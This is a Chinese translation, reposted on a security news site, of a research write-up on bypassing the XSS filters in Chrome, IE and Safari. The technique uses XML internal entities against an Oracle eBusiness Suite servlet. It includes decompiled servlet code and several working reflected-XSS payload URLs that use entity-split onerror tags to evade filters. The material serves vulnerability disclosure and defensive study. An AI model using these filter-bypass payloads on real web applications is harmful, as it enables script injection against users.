安全圈 | 专注于最新网络信息安全讯息新闻

首页

使用xml內部實體繞過chrome和ie的xss篩檢程式

作者 schoultz 时间 2020-02-27
all

來源:BypassingXSSFiltersusingXMLInternalEntities

原作者:DavidLitchfield([email protected]

譯:Holic(知道創宇404安全實驗室)

tl;dr

若Web應用在後端處理了一些XML檔案,而且存在XSS漏洞的話,那麼或許能使用XML實體來繞過常用web瀏覽器的XSS篩檢程式,比如Chrome,IE和Safari瀏覽器。同樣在Firefox瀏覽器下依然有效,不過顯然它沒有XSS篩檢程式。

繞過常用瀏覽器的XSS篩檢程式

Oracle's eBusiness Suite 12.x以及更早版本中的BneApplicationService servlet存在跨站腳本漏洞,這個最初與外部XML實體漏洞(XXE)同時被發現。

如果請求以下的URL:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=XXX

將會得到如下響應:

The following error has occurred

Exception Name: oracle.apps.bne.exception.BneFatalException -oracle.apps.bne.exception.BneFatalException: XML parse error in file at line 1,character 1.Log File Bookmark: 392699

那麼我們可以修改請求把它包裝在一個XML標籤中。

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<FOO>XXXXX</FOO> createBodyBneStyle XMLDocument localXMLDocument = BneXMLDomUtils.parseString(this.m_messagesXML); XMLElement localXMLElement1 = (XMLElement)localXMLDocument.getDocumentElement(); NodeList localNodeList = localXMLElement1.getChildNodes(); for (int i = 0; i < localNodeList.getLength(); i++) { String str1 = ""; String str2 = ""; String str3 = ""; String str4 = null; String str5 = null; Node localNode = null; XMLElement localXMLElement2 = (XMLElement)localNodeList.item(i); NamedNodeMap localNamedNodeMap = localXMLElement2.getAttributes(); localNode = localNamedNodeMap.getNamedItem("bne:type"); if (localNode != null) { str1 = localNode.getNodeValue(); } localNode = localNamedNodeMap.getNamedItem( b"ne:text "); if (localNode != null) { str2 = localNode.getNodeValue(); } localNode = localNamedNodeMap.getNamedItem("bne:value"); if (localNode != null) { str3 = localNode.getNodeValue(); } localNode = localNamedNodeMap.getNamedItem( b"ne:cause "); if (localNode != null) { str4 = localNode.getNodeValue(); } localNode = localNamedNodeMap.getNamedItem("bne:action"); if (localNode != null) { str5 = localNode.getNodeValue(); } if ((!str1.equalsIgnoreCase("DATA")) && (str2 != "")) { localStringBuffer.append("<p><b>" + str2 + "</b></p>"); localStringBuffer.append("<p>" + str4 + "</p>");

我們可以看到,如果我們設定bne:text的值不是詞'data‘,那麼它和bne:cause的值將會返回給瀏覽器。這便允許我們創建一條不存在解析錯誤的査詢字串:

bne:text bne:cause https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo"% 20bne:text="ABCDEF" bne:cause="GHIJKL"></bne:a ></message> <IMG SRC=/x onerror=alert(1)> https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="<IMG SRC=/x onerror=alert(1)>"></bne:a></message>

保留程式字<message><bne:a xmlns:bne=“foo”bne:text=“ABCDEF”bne:cause=&lt;I。。。檢測。

<message><bne:a xmlns:bne="foo" bne:text="ABCDEF"bne:cause="&lt;I ...

Press the Back button and remove the reserved program word. Contact your system administrator if thevalue cannot be changed

OK,所以BneApplicationService是有我們需要繞過的內寘XSS篩檢程式的。回想一下我們最初找到的XXE處理漏洞。嘗試使用外部XML實體(測試失敗,囙此並不受XXE攻擊影響)之後,它啟發我使用內部XML實體繞過XSS篩檢程式。這將會使得我們通過分解成預留位置之後重建的方法對攻擊進行偽裝。但我們先看看什麼是不被允許的。我們先去掉第一個左尖括弧:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="IMG SRC=/x onerror= alert(1)>"></bne:a></message>

Ok,看來可行。囙此繞過BneApplicationService內寘的篩檢程式,我們僅需要內部XML實體生成左尖括弧即可,囙此我們天津一個內部實體叫xxx,分配給它尖括弧的值:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx"&lt;">]> https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml= <?xml version="1.0" encoding=" UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx " &lt;">]>% 3Cmessage><bne:a xmlns:bne="foo" bne:text="ABCDEF" bne:cause="&xxx;IMG SRC=/x on error=alert(1)>"></bne:a></message> alert(1)

那麼我們必須繞過Chrome的XSS篩檢程式了。我們同樣也可以使用內部XML實體來解决。我們創建IMG,SRC和error中的one實體。這些實體會被web服務器的XML解析器處理重組,但不會被Chrome當做反射型XSS攻擊進行處理。

IMG SRC one https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne MsgBox&bne:messagexml=<?xml version="1.0" encoding="UT F-8"?><!DOCTYPE DWL [<!ENTITY xxx "&lt;% 22><! ENTITY yyy "IMG"><!ENTITY zzz "SRC "><!ENTITY ppp "one"% 3E]><message><bne: a xmlns:bne="foo" bne:text="ABCDEF" bne:caus e="&xxx;&yyy; &zzz;=/x &ppp;rror=alert(1)>"></bne:a ></message>

在以下瀏覽器測試成功:Firefox version 47,Chrome 51,IE 11,Safari 9.1.1

本文由Seebug Paper發佈,如需轉載請注明來源。本文地址:https://paper.seebug.org/80/